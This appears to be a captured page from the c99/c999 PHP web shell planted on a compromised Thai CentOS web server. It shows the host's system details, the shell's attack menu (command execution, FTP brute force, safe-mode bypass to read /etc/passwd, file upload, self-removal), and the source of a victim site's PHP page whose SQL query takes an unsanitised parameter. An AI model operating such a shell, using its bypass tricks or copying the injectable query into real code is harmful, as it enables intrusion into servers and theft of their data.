!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 52.98 GB of 127.8 GB (41.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     InformationDetail.php (3.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../../include/FunctionDB.php");
include(
"../../include/Function.php");
ConnectDB();
$sql "Select * From information_tb Where Info_code='$Info_code'";
$result mysql_query($sql) or die("$sql $result".mysql_error());
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Information</title>
<link rel="stylesheet" href="../../css/cart4.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body bgcolor="#C4D5D5">
<table width="100%" border="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" style="border:1px solid gray">
  <tr bgcolor="#7CAB84" > 
    <td colspan="3"> <div align="center"><strong><font color="#FFFFFF" size="4" face="Tahoma">ข่าวประชาสัมพันธ์</font></strong></div></td>
  </tr>
  <form action="InsertInfo.php" method="post">
    <tr bgcolor="#99CCFF"> 
      <td width="26%" bordercolor="#003366" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">หัวข้อ</font></div></td>
      <td width="3%" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
      <td width="71%" bordercolor="#CCCCCC" bgcolor="#FFFFFF">
<div align="center"><strong><font size="2" face="Tahoma"><? echo $rs[Info_name]?></font></strong></div></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bordercolor="#003366" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">วัน/เดือน/ปี</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><font size="2" face="Tahoma">&nbsp; 
        </font><font color="#003366" size="2" face="Tahoma">
        <?php 
       $sday 
$rs[Date];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
 //    $month = TxtThaiMonth($month);
     
echo"$day"."/"."$month"."/"."$year";
    
?>
        </font><font size="2" face="Tahoma">&nbsp; </font></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bordercolor="#003366" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">รายละเอียด</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><? echo nl2br($rs[Info_detail])?>&nbsp; 
        </font></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bordercolor="#003366" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">หน่วยงาน</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"> <font size="2" face="Tahoma"><? echo $rs[Organiz]?></font></td>
    </tr>
    <tr bgcolor="#99CCFF"> 
      <td bordercolor="#003366" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">ผู้รับผิดชอบ</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"> <font size="2" face="Tahoma"><? echo $rs[Supervisor]?></font></td>
    </tr>
    <tr bgcolor="#7CAB84"> 
      <td colspan="3"> <div align="center"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </div></td>
    </tr>
  </form>
</table>
</body>
</html>


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--